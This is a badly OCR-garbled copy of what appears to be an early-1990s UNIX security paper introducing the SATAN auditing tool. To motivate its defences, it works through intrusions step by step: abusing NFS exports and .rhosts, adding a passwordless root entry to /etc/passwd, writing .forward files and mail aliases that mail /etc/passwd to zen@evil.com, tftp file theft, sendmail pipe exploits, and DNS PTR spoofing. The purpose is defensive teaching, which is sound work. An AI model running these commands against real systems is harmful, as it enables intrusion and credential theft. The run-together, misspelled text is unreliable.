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1 Introduction

Every day all over theworld, computemetworks andhostsarebeingbrokeninto. Thelevel of sophistica-
tion of theseattacksvarieswidely; while it is generallybelieved that mostbreak-inssucceediueto weak
passwerds,therearestill alarge numberof intrusionsthatusemoreadwancedtechniquego breakin. Less
is known aboutthelattertypesof break-ins pecausdy their very naturethey aremuchharderto detect.

CERT. SRI. The Nic. NCSC.RSA. NASA. MIT. Uunet. Berkeley. Purdue.Sun. You nhameit, we've
seent brokeninto. Anything thatis ontheInternet(andmary thatisn't) seemdo befairly easygame.Are
thesetamgetsunusual2Vhathappened?

Fadeto...

A youngboy, with greasyblondehair, sitting in a darkroom. Theroomis illuminatedonly by the lumi-
nescensef the C64’s 40 charactescreen.Takinganothedong dragfrom his BensorandHedgescigarette,
thewearysystemcracler telnetsto thenext faceless.mil” siteon hishit list. “guest— guest”,“root —root”,
and“system— managerall fail. No matter He hasall night... he pencilsthe hostoff of hislist, andtiredly
typesin the next potentialvictim...

This seemdo be the popularimageof a systemcracler. Young,inexperienced and possessingast
guantitiesof time to waste to getinto justonemoresystem.However, thereis afar moredangerousype of
systencracler outthere.Onewho knows theins andoutsof thelatestsecurityauditingandcrackingtools,
who canmodify themfor specificattacks andwho canwrite his/herown programs Onewho notonly reads
aboutthelatestsecurityholes,but alsopersonallydiscorersbugsandvulnerabilities. A deadlycreaturethat
canbothstrike poisonouslyandhideits trackswithouta whisperor hint of atrail. Theuebercracgris here.

Why “uebercrackr’? Theideais stolen,obviously, from Nietzsches uebermenschyr, literally trans-
latedinto English,“over man’ Nietzscheusedthe termnotto referto a comicbook supermanbut instead
a manwho hadgonebeyondthe incompetencepettinessandweaknes®f the everydayman. The ueber
cracler is thereforethe systemcracler who hasgonebeyond simple cookbookmethodsof breakinginto
systems. An uebercracér is not usually motivatedto performrandomactsof violence. Tamgetsare not
arbitrary— thereis a purposewhetherit be personamonetarygain,a hit andrun raid for information,or a
challengeo strike amajoror prestigioussite or net.personalityAn uebercracér is hardto detect harderto
stop,andhardesto keepout of your sitefor good.

2 Oveview

In this paperwe will take anunusualapproacho systemsecurity Insteadof merelysayingthatsomething
is aproblem,wewill look throughthe eyesof apotentialintruder andshav why it is one.We will illustrate



thatevenseeminglyharmlessietwork servicescanbecomevaluabletoolsin the searchor weakpointsof a
systemgvenwhentheseservicesareoperatingexactly asthey areintendedo.

In aneffort to shedsomelight on how moreadvancedntrusionsoccut this paperoutlinesvariousmech-
anismsthat craclershave actually usedto obtainaccesdo systemsand,in addition, sometechniquesve
eithersuspecintrudersof using,or thatwe have usedoursehesin testsor in friendly/authorizecerviron-
ments.

Our motivation for writing this paperis that systemadministratorsare often unavare of the dangers
presentedy anything beyond the mosttrivial attacks. While it is widely known that the properlevel of
protectiondepend®n whathasto be protectedmary sitesappeato lacktheresource$o assessvhatlevel
of hostand network securityis adequate.By shaving whatintruderscando to gain accesdo a remote
site, we aretrying to help systemadministratordo make informed decisionson how to securetheir site
—or not. We will limit the discussiorto techniqueghat cangive a remoteintruderaccesgo a (possibly
non-interactie) shellproceson a UNIX host. Oncethisis achieed, the detailsof obtainingroot privilege
arebeyondthe scopeof this work —we considerthemtoo site-dependerdand,in mary casestoo trivial to
merit muchdiscussion.

We wantto stresshatwe will not merelyrun down alist of bugsor securityholes—therewill always
be new onesfor a potentialattacler to exploit. The purposeof this paperis to try to getthe readerto look
at heror his systemin a new way — onethatwill hopefullyafford him or herthe opportunityto understand
how their systemcanbe compromisedandhow.

We would alsolike to reiterateto the readerthat the purposeof this paperis to shov you how to test
the securityof your own site, not how to breakinto otherpeoples systems.The intrusiontechniquesve
illustrateherewill oftenleave tracesin your systemauditinglogs—it mightbeconstructie to examinethem
aftertrying someof theseattacksout, to seewhata real attackmight look like. Certainly othersitesand
systemadministratorsvill take averydim view of your activitiesif you decideto usetheir hostsfor security
testingwithout advanceauthorizationjndeed,it is quite possiblethatlegal actionmay be pursuedagainst
youif they perceve it asanattack.

Therearefour main partsto the paper Thefirst partis the introductionandovervien. The secondoart
attemptdgo give the readera feel for whatit is like to be anintruderandhow to go from knowing nothing
abouta systemto compromisingts security This sectiongoesover actualtechniquego gaininformation
andentranceand coversbasicstratgies suchasexploiting trustand abusingimproperly configuredbasic
network serviceqftp, mail, tftp, etc.) It alsodiscusseslightly moreadwancedopics,suchasNIS andNFS,
aswell asvariouscommonbugsandconfigurationproblemghataresomavhatmoreOSor systemspecific.
Defensve stratgiesagainsiachof thevariousattacksarealsocoveredhere.

The third sectiondealswith trust: how the security of one systemdependson the integrity of other
systems. Trust is the mostcomplex subjectin this paper and for the sale of brevity we will limit the
discussiorto clientsin disguise.

The fourth sectioncovers the basic stepsthat a systemadministratormay take to protecther or his
system Mostof themethodgpresentetherearemerelycommonsensebut they areoftenignoredin practice
—oneof our goalsis to shav justhow dangeroudt canbeto ignorebasicsecuritypractices.

Casestudies,pointersto security-relatednformation,and software are describedn the appendicest
theendof the paper

While exploring the methodsand stratgies discussedn this paperwe we wrote SATAN (Security
Analysis Tool for Auditing Networks.) Written in shell, perl, expectandC, it examinesa remotehostor
setof hostsandgathersasmuchinformationaspossibleby remotelyprobingNIS, finger, NFS, ftp andtftp,
rexd, andotherservices.Thisinformationincludesthe presencef variousnetwork informationservicesas
well aspotentialsecurityflaws — usuallyin the form of incorrectly setupor configurednetwork services,
well-knowvn bugsin systenor network utilities, or pooror ignorantpolicy decisionslt thencaneitherreport



on this dataor usean expert systemto furtherinvestigateary potentialsecurityproblems.While SATAN

doesnt useall of the methodsthat we discussin the paper it hassucceededvith ominousregularity in

finding seriousholesin the securityof Internetsites. It will be postedandmadeavailablevia anorymous
ftp whencompletedAppendixA coversits salientfeatures.

Note that it isn’t possibleto cover all possiblemethodsof breakinginto systemsin a single paper
Indeed,we won't cover two of the mosteffective methodsof breakinginto hosts: socialengineeringand
passverd cracking. The latter methodis so effective, however, that several of the stratgjiespresentedhere
aregearedowardsacquiringpasswverd files. In addition,while windowing systemgX, OpenWndows, etc.)
canprovide a fertile groundfor exploitation, we simply dont knov mary methodsthat are usedto break
into remotesystems. Many systemcraclers use non-bitmappederminalswhich can prevent them from
usingsomeof the moreinterestingmethodgo exploit windowing systemsffectively (althoughbeingable
to monitor the victim’s keyboardis often suficient to capturepasswerds). Finally, while worms, viruses,
trojanhorsesandothermalwareareveryinterestingthey arenotcommon(on UNIX systemsandprobably
will usesimilartechniquedo the oneswe describan this paperasindividual partsto their attackstratey.

3 Gaining Information

Let usassumehatyou arethe headsystemadministratoof Victim Incorporated network of UNIX work-
stations.In an effort to secureyour machinesyou aska friendly systemadministratorfrom a nearbysite
(evil.com) to give youanaccounbn oneof hermachinesothatyou canlook atyour own systems$ security
from the outside.

What shouldyou do? First, try to gatherinformation aboutyour (target) host. Thereis a wealth of
network servicego look at: finger, shavmount,andrpcinfo aregoodstartingpoints. But don't stopthere—
you shouldalsoutilize DNS, whois,sendmailsmtp),ftp, uucp,andasmary otherservicesasyou canfind.
Therearesomary methodsandtechniqueshatspaceprecludesisfrom shaving all of them,but we will try
to shav a cross-sectiof the mostcommonand/ordangeroustratgiesthatwe have seenor have thought
of. ldeally, youwould gathersuchinformationaboutall hostson the subnetr areaof attack— information
is power — but for now we’ll examineonly our intendedarget.

To startout, you look at what the ubiquitousfinger commandshavs you (assumet is 6pm, Nov 6,
1993):

victim%finger @ictimcom

[victimcom

Login Nane TTY Idle When Wher e

zen Dr. Fubar co 1d Wed 08: 00 deat h. com

Good! A singleidle user-—it is likely thatno onewill noticeif you actuallymanageo breakin.

Now youtry moretactics.As everyfingerdevoteeknows, fingering“@”, “0”, and™, aswell ascommon
namessuchasroot, bin, ftp, systemguest,demo,manageretc.,canrevealinterestinginformation. What
thatinformationis dependson the versionof finger that your target is running, but the mostnotableare
accounthamesalongwith theirhomedirectoriesandthe hostthatthey lastloggedin from.

To addto thisinformation,you canuseruserg(in particularwith the-| flag) to getusefulinformationon

logged-inusers.
Trying thesecommandson victim.com revealsthe following information, presentedn a compressed
takular form to save space:

Logi n Home-dir Shel | Last login, fromwhere

r oot / / bi n/sh Fri Nov 5 07:42 on ttypl from big.victimcom

3



bi n /bin Never | ogged in

nobody / Tue Jun 15 08:57 on ttyp2 fromserver.victimco
daenon / Tue Mar 23 12:14 on ttyp0O frombig.victimcom
sync / /bin/sync Tue Mar 23 12:14 on ttypO frombig.victimcom
zen /[ horme/zen  /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /hone/sam /bin/csh Wed Nov 5 05:33 on ttyp3 fromevil.com

guest / export/foo /bin/sh Never |ogged in

ftp /honme/ftp Never |ogged in

Both our experimentswith SATAN andwatchingsystemcraclersat work have provedto usthatfinger
is oneof the mostdangerouservicespecausdt is sousefulfor investigatinga potentialtarget. However,
muchof thisinformationis usefulonly whenusedin conjunctionwith otherdata.

For instancerunningshavmounton your targetreveals:

evil % showmount -e victimcom
export list for victimcom

[ export (everyone)
[ var (everyone)
/ usr easy
[ export/exec/ kvm sun4c. sunos. 4. 1. 3 easy
/ export/root/easy easy
[ export/ swap/ easy easy

Note that /export/foo is exportedto the world; also note that this is userguests homedirectory Time
for your first break-in! In this case,you’ll mountthe homedirectory of user“guest. Sinceyou don't
have a correspondin@ccounton thelocal machineandsinceroot cannotmodify files on anNFS mounted
filesystem,you createa “guest” accountin your local passverd file. As userguestyou canput an.rhosts
entryin theremoteguesthomedirectory whichwill allow youto login to thetargetmachinewithouthaving
to supplyapassverd.

evil # mount victimcom/export/foo /foo
evil # cd /foo
evil #1s -lag

total 3
1 drwxr-xr-x 11 root daenon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daenon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:tenporary breakin account:/: >> /etc/passwd
evil #1s -lag

total 3
1 drwxr-xr-x 11 root daenon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daenon 1024 Aug 3 15:49 guest

evil # su guest
evil % echo victimcom >> guest/.rhosts
evil %rlogin victimcom

Wel cone to victimcom
victim%



If, insteadof homedirectories,victim.com were exporting filesystemswith usercommandgsay /usr or
{usr/local/bin)you couldreplacea commandvith atrojanhorsethatexecutesany commandf your choice.
Thenext userto executethatcommandwvould executeyour program.

We suggesthatfilesystemde exported:

e Read/writeonly to specific,trustedclients.

¢ Read-onlywherepossible(dataor programscanoftenbe exportedin this mannel)

If thetagethasa"+" wildcardin its /etc/hosts.equi(the default in variousvendors machinespr hasthe
netgroupsug (CERT advisory91:12),ary non-rootuserwith alogin namein thetarget's password file can
rlogin to the tagetwithout a passward. And sincethe user'bin" oftenownskey files anddirectoriesyour
next attackis to try to log in to thetargethostandmodify the passverd file to let you have root access:

evil % whoanmi
bi n
evil %rsh victimcomcsh -i
Warni ng: no access to tty; thus no job control in this shell...
victim% Is -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim% cd /etc
victim% nv passwd pw. old
victim% (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim% "D
evil %rlogin victimcom-| toor
Wl come to victimcon
victim#

A few notesaboutthe methodusedabore; "rshvictim.comcsh-i" is usedto initially getontothesystem
becauset doesnt leave ary tracesin the wtmp or utmp systemauditing files, making the rsh invisible
for fingerandwho. The remoteshellisn't attachedo a pseudo-terminahowever, sothatscreen-oriented
programssuchaspagersandeditorswill fail —but it is very handyfor brief exploration.

The COPSsecurityauditingtool (seeappendixD) will reportkey files or directoriesthat arewritable
to accountsotherthanthe superuser If you run SunOS4.x you canapply patch100103to fix mostfile
permissionproblems.On mary systemsyrsh probesasshavn above, evenwhensuccessfulywould remain
completelyunnoticedthetcp wrapper(appendixD), which logsincomingconnectionsgcanhelpto expose
suchactvities.

Whatnow? Have you uncoveredall the holeson your target system?Not by along shot. Goingbackto
thefingerresultsonyourtarget,younoticethatit hasan"ftp" accountwhich usuallymeanghatanorymous
ftp is enabled Anonymousftp canbe aneasyway to getaccessasit is oftenmisconfigured For example,
the taget may have a completecopy of the/etc/passwdile in the anorymousftp ftp/etcdirectoryinstead
of a strippeddown version. In this example,though,you seethat the latter doesnt seemto be true (how
canyou tell without actually examiningthe file?) However, the homedirectory of ftp on victim.comis
writable. This allows you to remotelyexecutea command- in this case mailing the passvord file backto
yourself— by the simplemethodof creatinga .forwardfile that executesa commandwhenmail is sentto
theftp account.This is the samemechanisnof piping mail to a programthatthe "vacation"programuses
to automaticallyreply to mail messages.

evil %cat forward sucker file
"|/bin/mail zen@vil.com< /etc/passwd"

evil %ftp victimcom



Connected to victimecom

220 victim FTP server ready.

Name (victimcomzen): ftp

331 Cuest login ok, send ident as password.

Passwor d:

230 Guest login ok, access restrictions apply.

ftp>1s -lga

200 PORT command successf ul

150 ASCI| data connection for /bin/ls (192.192.192.1, 1129) (0 bytes).
total 5
drwxr-xr-x 4 101
drwxr-xr-x 4 101 ..
drwxr-xr-x 2 0 512 Jun 20 1991 bin
drwxr-xr-x 2 0 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCI|I Transfer conplete.

242 bytes received in 0.066 seconds (3.6 Kbytes/s)

ftp> put forward sucker file .forward

43 bytes sent in 0.0015 seconds (28 Kbytes/s)

ftp> quit

evil %echo test | mail ftp@ictimcom

512 Jun 20 1991 .
512 Jun 20 1991

L el o =

Now you simply wait for the passverd file to be sentbackto you.

The securityauditingtool COPSwill checkyour anorymousftp setup;seethe manpagefor ftpd, the
documentation/codir COPS,or CERT advisory93:10for informationon how to setup anorymousftp
correctly Vulnerabilitiesin ftp are often a matterof incorrectownershipor permissionof key files or
directories At thevery least,make surethat ftp andall "system"directoriesandfiles belowv ftp areowned
by rootandarenotwritable by ary user

While looking atftp, you cancheckfor anolderbug thatwasoncewidely exploited:

%ftp -n

ftp> open victimcom

Connected to victimcom

220 victimcom FTP server ready.

ftp> quote user ftp

331 CGuest login ok, send ident as password.
ftp> quote cwd ~root

530 Pl ease login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.
ftp>1s -al / (or whatever)

If this works,you now areloggedin asroot, andableto modify the passverd file, or whateser you desire.
If your systemexhibits this bug, you shoulddefinitely getan updateto your ftpd daemongitherfrom your
vendoror (via anonftp) from ftp.uu.net.

Thewuarchve ftpd, a popularreplacementtp daemonput out by the WashingtonUniversity in Saint
Louis, hadalmostthe sameproblem. If your wuarchve ftpd pre-datesApril 8, 1993,you shouldreplaceit
by amorerecentversion.



Finally, thereis a programvaguelysimilarto ftp — tftp, or thetrivial file transferprogram.This daemon
doesnt requireary passverd for authenticationif ahostprovidestftp withoutrestrictingtheaccesgusually
via somesecurdlag setin theinetd.conffile), anattacler canreadandwrite files anywhereon the system.
In theexample,you gettheremotepasswverd file andplaceit in yourlocal /tmp directory:

evil %tftp

tftp> connect victimcom

tftp> get /etc/passwd /tnp/passwd. victim
tftp> quit

For securitys sale, tftp shouldnotberun; if tftp is necessarysethe secureoption/flagto restrictaccesso
adirectorythathasno valuableinformation,or runit underthe control of achrootwrapperprogram.

If noneof the previous methodshave worked, it is time to go on to moredrasticmeasures.You have
afriendin rpcinfo, anothervery handyprogram,sometimesven moreusefulthanfinger Many hostsrun
RPCserviceghatcanbeexploited; rpcinfo cantalk to the portmapperandshav youtheway: It cantell you
if the hostis runningNIS, if it is a NIS sener or slave, if a disklessworkstationis around,if it is running
NFS, ary of the info services(rusersd rstatd,etc.), or ary otherunusualprograms(auditing or security
related).For instancegoingbackto our sampletaget:

evil %rpcinfo -p victimcom [output trinmred for brevity' s sake]
program vers proto port
100004 2 tcp 673 ypserv

100005 1 udp 721 nountd
100003 2 udp 2049 nfs

100026 1 udp 733 boot param
100017 1 tcp 1274 rexd

In this case you canseeseveralsignificantfactsaboutour target; first of whichis thatit is anNIS sener. It
is perhapsotwidely known, but onceyou know the NIS domainnamef asener, you cangetary of its NIS
mapsby a simplerpc query evenwhenyou are outsidethe subnetsened by the NIS sener (for example,
usingtheYPX programthatcanbefoundin thecomp.sources.misarchivesonftp.uu.net).ln addition,very
muchlike easilyguessegasswards, mary systemauseeasilyguessedIS domainnamesTrying to guess
the NIS domainnamaes often very fruitful. Goodcandidatesrethe fully andpartially qualifiedhostname
(e.g. "victim" and"victim.com"), the organizationname,netgroupnamesn "shovmount" output,andso
on. If youwantedto guesghatthe domainnamevas"victim", you couldtype:

evil %ypwhich -d victimvictimcom
Domai n victimnot bound.

This wasan unsuccessfuhttempt;if you hadguesseaorrectlyit would have returnedwith the hostname
of victim.com’s NIS sener. However, note from the NFS sectionthat victim.comis exporting the "/var"
directoryto theworld. All thatis neededs to mountthis directoryandlook in the "yp" subdirectory—
amongotherthingsyouwill seeanothersubdirectorythatcontainghe domainnamef thetarget.

evil # mount victimcom/var /foo
evil # cd /foo
evil # /bin/ls -alg /foolyp

total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root st af f 512 Jun 29 10:54 ..



11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar

[...]

In this case,foo_bar” is the NIS domainname.

In addition,theNIS mapsoftencontaina goodlist of user/emplgeenamesaswell asinternalhostlists,
notto mentionpasswrdsfor cracking.

AppendixC detailstheresultsof a casestudyon NIS passwerd files.

You note that the rpcinfo output also shaved that victim.com runsrexd. Like the rsh daemon,rexd
processesequest®f theform "pleaseexecutethis commandasthatuser”. Unlike rshd,however, rexd does
not careif the clienthostis in the hosts.eqwi or .rhostfiles. Normally the rexd client programis the "on"
commandbut it only takesa shortC programto sendarbitrary client hostand useridinformationto the
rexd sener; rexd will happily executethe command.For thesereasonsrunningrexd is similar to having
no passwerdsatall: all securityis in the client, notin the sener whereit shouldbe. Rexd securitycanbe
improved somevhat by usingsecureRPC.

While looking attheoutputfrom rpcinfo, you obsere thatvictim.comalsoseemgo beasenerfor disk-
lessworkstations.This is evidencedby the presencef the bootparanservice which providesinformation
to the disklessclientsfor booting. If you asknicely, usingBOOTPARAMPROC_WHQAMI and provide
theaddresof a client, you cangetits NIS domainnameThis canbe very usefulwhencombinedwith the
factthatyou cangetarbitraryNIS maps(suchasthe passverd file) whenyou know the NIS domainname.
Hereis a samplecodesnippetto do justthat(bootparamis partof SATAN.)

char *server;

struct bp_whoam _arg arg; [* query */
struct bp_whoani _res res; [* reply */
[* initializations onmtted... */

cal I rpc(server, BOOTPARAMPROG BOOTPARAMVERS, BOOTPARAMPROC WWHOAM ,
xdr _bp_whoam _arg, &arg, xdr_bp_whoamni _res, &res);

printf("% has nisdomain %\n", server, res.domain_nane);

The shavmountoutputindicatedthat"easy"is a disklessclient of victim.com,sowe useits clientaddress
in the BOOTPARAMPROC_WHQAMI query:

evil % boot param victi mcom easy. victimcom
vi cti mcom has ni sdomai n foo_bar

NIS mastersontrolthe mail aliasedor the NIS domainin question.Justlike local mail aliasfiles, you
cancreateamail aliasthatwill executecommandsvhenmail is sentto it (aoncepopularexampleof thisis
the"decode"aliaswhich uudecodesnail files sentto it.) For instancehereyou createanalias"foo”, which
mailsthe password file backto evil.com by simply mailing ary messagéo it:

nis-master # echo 'foo: "| mail zen@vil.com< /etc/passwd "' >> /etc/aliases
ni s-master # cd /var/yp

ni s-master # make aliases

ni s-master # echo test | mail -v foo@:ictimcom



Hopefully attaclerswon't have control of your NIS masterhost,but even morehopefullythelessonis
clear— NIS is normallyinsecureput if anattacler hascontrolof your NIS masterthens/heeffectively has
controlof theclienthosts(e.g. canexecutearbitrarycommands).

Therearent mary effective defensesgainstNIS attacks;it is aninsecureservicethat hasalmostno
authenticatiorbetweerclientsandseners. To make thingsworse,it seemdairly clearthatarbitrarymaps
canbe forcedonto even masterseners(e.g., it is possibleto treatan NIS sener asa client). This, obvi-
ously would subvert the entireschema.lf it is absolutelynecessaryo useNIS, choosinga hardto guess
domainname&anhelpslightly, butif you rundisklessclientsthatareexposedo potentialattaclersthenit is
trivial for anattacler to defeatthis simplestepby usingthe bootparantrick to getthedomainnamelf NIS
is usedto propagatehe passverd maps,thenshada passwerdsdo not give additionalprotectionbecause
theshadev mapis still accessibleo ary attacler thathasroot on anattackinghost. Betteris to useNIS as
little aspossible pr to atleastrealizethatthe mapscanbe subjectto perusaby potentiallyhostileforces.

SecureRPCgoesa long way to diminishthe threat,but it hasits own problems primarily in thatit is
difficult to administerbut alsoin thatthecryptographianethodsusedwithin arenotvery strong.It hasbeen
rumoredthatNIS+, Sun’s nev network informationservice fixessomeof theseproblems but until now it
hasbeenlimited to runningon Suns,andthusfar hasnot lived up to the promiseof the design. Finally,
usingpaclet filtering (at the very leastport 111) or securelib(seeappendixD), or, for Suns,applyingSun
patch100482-02all canhelp.

The portmapperonly knows aboutRPCservices.Othernetwork servicescanbe locatedwith a brute-
force methodthat connectdo all network ports. Many network utilities andwindowing systemdistento
specificports (e.g. sendmailis on port 25, telnetis on port 23, X windows is usuallyon port 6000, etc.)
SATAN includesa programthat scanshe portsof a remotehostsandreportson its findings;if you runiit
againsiburtamget,you see:

evil % tcpmap victimcom
Mappi ng 128.128.128.1
port 21: ftp

port 23: telnet

port 25: sntp

port 37: tinme

port 79: finger

port 512: exec

port 513: login

port 514: shel

port 515: printer
port 6000: (X

This suggestghat victim.comis running X windows. If not protectedproperly (via the magic cookie or
xhostmechanisms)window displayscanbe capturedor watched userkeystrokesmay be stolen,programs
executedremotely etc. Also, if thetargetis runningX andacceptsatelnetto port 6000,thatcanbe used
for a denialof serviceattack,asthetamet’s windowing systemwill often"freezeup" for a shortperiodof
time. Onemethodto determinethe vulnerability of an X sener is to connectto it via the XOpenDisplay()
function; if thefunctionreturnsNULL thenyou cannotaccesghe victim’s display (opendisplayis part of
SATAN):

char *host nane;

i f (XOpenbDi spl ay( host name) == NULL) {



printf("Cannot open display: %\n", hostnane);
} else {

printf("Can open display: %\n", hostnane);
}

evil % opendi splay victimcomO
Cannot open display: victimcomO

X terminals,thoughmuchlesspowerful thana completeUNIX system,canhave their own securityprob-
lems. Many X terminalspermit unrestrictedrsh accessallowing you to start X client programsin the
victim’s terminalwith the outputappearingon your own screen:

evil % xhost +xvictimvicti mcom
evil %rsh xvictimvictimcomtelnet victimcom-display evil.com

In arny case give asmuchthoughtto your window securityasyour filesystemandnetwork utilities, for it

cancompromiseyour systemassurelyasa'+" in your hosts.eqwi or a passwerdless(root) account.

Next, you examinesendmail. Sendmailis a very complex programthat hasa long history of security
problems,including the infamous"wiz" command(hopefully long sincedisabledon all machines).You
canoftendeterminghe OS,sometimesiown to the versionnumbey of thetarget, by looking attheversion
numbereturnedoy sendmail This, in turn, cangive you hintsasto how vulnerableat mightbeto ary of the
numerougougs. In addition,you canseeif they runthe"decode"alias,which hasits own setof problems:

evil %telnet victimcom 25

connecting to host victimcom (128.128.128.1.), port 25

connecti on open

220 victimcom Sendmai|l Sendnmil 5.55/victimready at Fri, 6 Nov 93 18: 00 PDT
expn decode

250 <"|/usr/bin/uudecode" >

quit

Runningthe "decode"aliasis a securityrisk — it allows potentialattaclersto overwrite ary file thatis
writable by the owner of thatalias— often daemon put potentiallyarny user Considerthis pieceof mail —
thiswill place"evil.com" in userzens .rhostsfile if it is writable:

evil %echo "evil.com' | uuencode /hone/zen/.rhosts | mail decode@sictimcom

If no homedirectoriesare known or writable, an interestingvariation of this is to createa bogus
/etc/aliases.pafile that containsan aliaswith a commandyou wish to executeon your taget. This may
work sinceon mary systemshealiases.pagndaliases.difiles, which controlthe systems mail aliasesare
writableto theworld.

evil %cat decode

bin: "| cat /etc/passwd | mail zen@vil.cont

evil % newaliases -oQ tnp -o0A pwd'/decode

evil % uuencode decode.pag /etc/aliases.pag | mail decode@ictomcom
evil % /usr/lib/sendnail -fbin -om-0i bin@ictimcom< /dev/null

A lot of things can be found out by just askingsendmailif an addresss acceptablgvrfy), or what an
addresgxpandgo (expn). Whenthefingeror rusersservicesareturnedoff, vrfy andexpn canstill beused
to identify useraccountsor tamgets. Vrfy andexpn canalsobe usedto find out if the useris piping mail
throughary programthat might be exploited (e.g. vacation,mail sorters,etc.). It canbe a goodideato
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disablethe vrfy andexpn commandsin mostversionsJook at the sourcefile srvrsmtp.candeitherdelete
or changethe two lines in the CmdTab structurethat have the strings"vrfy" and"expn". Siteswithout
sourcecan still disableexpn and vrfy by just editing the sendmailexecutablewith a binary editor and
replacing"vrfy" and"expn" with blanks. Acquiring a recentversionof sendmailseeAppendixD) is also
anextremelygoodidea,sincetherehave probablybeenmoresecuritybugsreportedn sendmaithanin ary
otherUNIX program.

As a sendmail-send@ftherearetwo fairly well known bugsthatshouldbe checledinto. Thefirst was
definitelyfixedin version5.59from Berkeley; despitehemessagelelow, for versionsof sendmaiprevious
to 5.59,the"evil.com" getsappendeddespitethe errormessageslongwith all of thetypical mail headers,
to thefile specified:

% cat evil_sendmai |

tel net victimcom 25 << EOCSM
rcpt to: /home/zen/.rhosts
mail from zen

dat a

random gar bage

rcpt to: /home/zen/.rhosts
mail from zen

dat a

evil.com

quit
EOSM

evil % /bin/sh evil _sendmail
Trying 128.128.128.1

Connected to victimecom

Escape character is *""]’.
Connection closed by foreign host.

evil %rlogin victimcom-| zen
Wel cone to victimcom
victim%

The secondhole, fixed only recently permittedanyoneto specify arbitrary shell commandsand/orpath-
namedor thesenderand/ordestinatioraddressAttemptsto keepdetailssecretwerein vain, andextensve
discussiongn mailing lists andusenenews groupsled to disclosureof how to exploit someversionsof the
bug. As with mary UNIX bugs,nearlyevery vendors sendmailwasvulnerableto the problem,sincethey
all sharea commonsourcecodetree ancestry Spaceprecludesus from discussingt fully, but a typical
attackto getthe password file mightlook like this:

evil %telnet victimcom 25

Trying 128.128.128.1...

Connected to victimecom

Escape character is ']’

220 victimcom Sendmail 5.55 ready at Saturday, 6 Nov 93 18: 04
mail from "|/bin/mail zen@wvil.com< /etc/passwd"
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250 "|/bin/mail zen@vil.com< /etc/passwd"... Sender ok
rcpt to: nosuchuser

550 nosuchuser... User unknown
dat a
354 Enter nail, end with "." on a line by itself

250 Mai|l accepted

qui t

Connection cl osed by foreign host.
evil %

At the time of writing, version8.6.4 of sendmail(seeAppendixD for informationon how to getthis) is
reportedlythe only variantof sendmailwith all of therecentsecuritybugsfixed.

4 Trust

For ourfinal topic of vulnerability we’ll digressrom the practicalstratgy we've followed previously to go
a bit moreinto the theoreticalside,andbriefly discussthe notion of trust. The issuesandimplicationsof
vulnerabilitiesherearea bit moresubtleandfar-reachingthanwhatwe've coveredbefore;in the context of
this paperwe usetheword trustwhenever thereis a situationwhena sener (notethatary hostthatallows
remoteaccessanbe calleda sener) canpermitalocal resourceo be usedby a client without passverd
authenticatiorwhenpasswerd authentications normally required. In otherwords, we arbitrarily limit the
discussiorto clientsin disguise.

Therearemary waysthata hostcantrust: .rhostsandhosts.equwi files thatallow accessithout pass-
word verification; window senersthatallow remotesystemgo useandaluseprivileges;export files that
controlacceswia NFS,andmore.

Nearlyall of theserely on clientIP addres$o hostnamesorversionto determinevhetheror not service
is to begranted.The simplestmethodusesthe/etc/hostdile for adirectlookup. However, todaymosthosts
useeitherDNS (theDomainNameService) NIS, or bothfor namelookupservice.A reverselookupoccurs
whena sener hasan IP addresgfrom a client hostconnectingto it) andwishesto getthe corresponding
clienthostname.

Although the conceptof haw hosttrustworks is well understoody mostsystemadministratorsthe
dangers of trust,andthe practical problemit representsyrespectie of hostnamempersonationis oneof
theleastunderstoogbroblemswe know of onthelnternet. This goesfar beyondtheohvioushosts.eqw and
rhostsfiles; NFS,NIS, windowing systems- indeed ,muchof the usefulservicesn UNIX arebasedon the
concepthatwell known (to anadministratoior user)sitesaretrustedin someway. Whatis notunderstood
is how networking sotightly bindssecuritybetweernwhatarenormally consideredlisjoint hosts.

Any form of trustcanbe spoofedfooled, or sutverted,especiallywhenthe authoritythatgetsqueried
to checkthecredentialof theclientis eitheroutsideof thesener’'s administratre domain,or whenthetrust
mechanisms basedon somethinghathasa weakform of authenticationbothareusuallythe case.

Obviously; if the hostcontainingthe databaséeitherNIS, DNS, or whatever) hasbeencompromised,
the intruder can corvince the target hostthat s/heis comingfrom ary trustedhost; it is now sufficient to
find outwhich hostsaretrustedby the tamget. This taskis often greatlyhelpedby examiningwheresystem
administratorsand systemaccounts(suchasroot, etc.) lastloggedin from. Going backto our tarmgyet,
victim.com,you notethatroot andsomeothersystemaccountdoggedin from big.victim.com.You change
the PTRrecordfor evil.com sothatwhenyou attemptto rlogin in from evil.com to victim.com,victim.com
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will attemptto look up your hostnamendwill find whatyou placedin therecord.If therecordin the DNS
databaséookslike:

1.192.192.192. i n-addr. ar pa I'N PTR evil.com
And you changeit to:
1.192.192.192. i n-addr. ar pa I'N PTR bi g.victimcom

then,dependingonhow nawvevictim.com’s systensoftwareis, victim.comwill believe thelogin comesrom
big.victim.com,and,assuminghatbig.victim.comis in the/etc/hosts.equior /.rhostdfiles, youwill beable
to login without supplyinga passwverd. With NIS, it is a simplematterof eitherediting the hostdatabase
on the NIS master(if this is controlledby the intruder) or of spoofingor forcing NIS (seediscussiornon
NIS securityabove) to supplythe target with whatever informationyou desire. Although more comple,
interesting,anddamagingattackscanbe mountedvia DNS, time andspacedont allow coverageof these
methodshere.

Two methodscan be usedto prevent suchattacks. The first is the mostdirect, but perhapshe most
impractical. If your site doesnt useary trust, you won't be asvulnerableto hostspoofing. The other
stratey is to usecryptographigorotocols.Using the secureRPCprotocol(usedin secureNFS,NIS+, etc.)
is onemethod;althoughit hasbeenbroken” cryptographicallyit still providesbetterassurancéhanRPC
